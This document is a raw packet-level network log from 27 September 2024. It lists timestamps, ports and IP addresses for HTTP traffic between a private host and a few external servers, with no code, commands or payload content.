Sep 27, 2024 16:18:27.385749102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385776997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385787964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.385787010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.385787010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.385828972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386281013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386291027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386301041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386318922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386327982 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386329889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386341095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386343956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386352062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386395931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386395931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386423111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386434078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386451960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386461973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386472940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386482000 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386482000 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386482954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386518955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386527061 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386527061 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386528969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386538982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386549950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386559963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386565924 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386584044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386629105 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386729956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386746883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386756897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386795998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386799097 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386799097 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386806965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386827946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386840105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386861086 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386861086 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386894941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386899948 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386904955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386915922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386933088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386944056 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.386948109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386959076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.386964083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.387018919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.387018919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.387106895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.387119055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.387129068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.387170076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.387170076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.387170076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.387181044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.387192011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.387217045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.387217045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.387243986 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.400558949 CEST	49617	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:27.405468941 CEST	80	49617	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:27.727924109 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:27.846668959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.846684933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.846695900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.846723080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.846757889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.846774101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.846831083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.846831083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.846847057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.846863031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.846904039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.846904039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.846904039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847027063 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847038031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847048998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847058058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847069025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847079992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847079992 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847079992 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847089052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847099066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847115993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847143888 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847143888 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847165108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847177029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847187042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847197056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847202063 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847202063 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847206116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847217083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847229004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847238064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847254992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847254992 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847254992 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847265959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847274065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847285032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847296953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847307920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847325087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847325087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847325087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847368956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847407103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847418070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847429991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847440958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847451925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847462893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847474098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847481012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847481012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847485065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847498894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847507954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847518921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847532988 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847532988 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847538948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847549915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847564936 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847677946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847739935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847750902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847790003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847804070 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847891092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847903013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847910881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847922087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847922087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847932100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847944021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847954035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847965002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847965002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847965002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847975016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847985029 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.847985983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.847997904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848014116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848026037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848031044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848031044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848036051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848047972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848058939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848059893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848069906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848078966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848088980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848099947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848109961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848120928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848130941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848133087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848133087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848133087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848141909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848151922 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848153114 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848165989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848175049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848186970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848212957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848757982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848768950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848778963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848788977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848795891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848799944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848810911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848822117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848831892 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848834991 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848843098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848853111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848860979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848862886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848874092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848895073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848898888 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848898888 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848905087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848916054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848926067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848937035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848942995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848942995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848947048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848957062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848969936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848973989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848979950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848989964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.848999023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.848999977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849010944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849020958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849031925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849041939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849052906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849054098 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849054098 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849054098 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849064112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849075079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849085093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849096060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849122047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849122047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849122047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849188089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849302053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849365950 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849440098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849450111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849461079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849471092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849487066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849492073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849492073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849498034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849509001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849518061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849528074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849539042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849545956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849545956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849586964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849597931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849603891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849610090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849613905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849625111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849628925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849634886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849646091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849656105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849667072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849678993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849684000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849694014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849710941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849720001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849728107 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849728107 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849730015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849740982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849751949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849762917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849773884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849781990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849781990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849781990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849785089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849797010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849807024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849813938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849816084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849828005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849838972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849852085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.849862099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849908113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.849909067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850142956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850153923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850164890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850174904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850186110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850197077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850207090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850218058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850231886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850231886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850235939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850245953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850255966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850258112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850258112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850266933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850284100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850291967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850295067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850306034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850316048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850327015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850341082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850342989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850354910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850356102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850364923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850375891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850384951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850395918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850406885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850416899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850425005 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850425005 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850425005 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850426912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850438118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850441933 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850449085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850459099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850469112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850480080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850491047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850500107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850500107 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850500107 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850500107 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850511074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850521088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850531101 CEST	80	49613	185.215.113.17	192.168.2.6
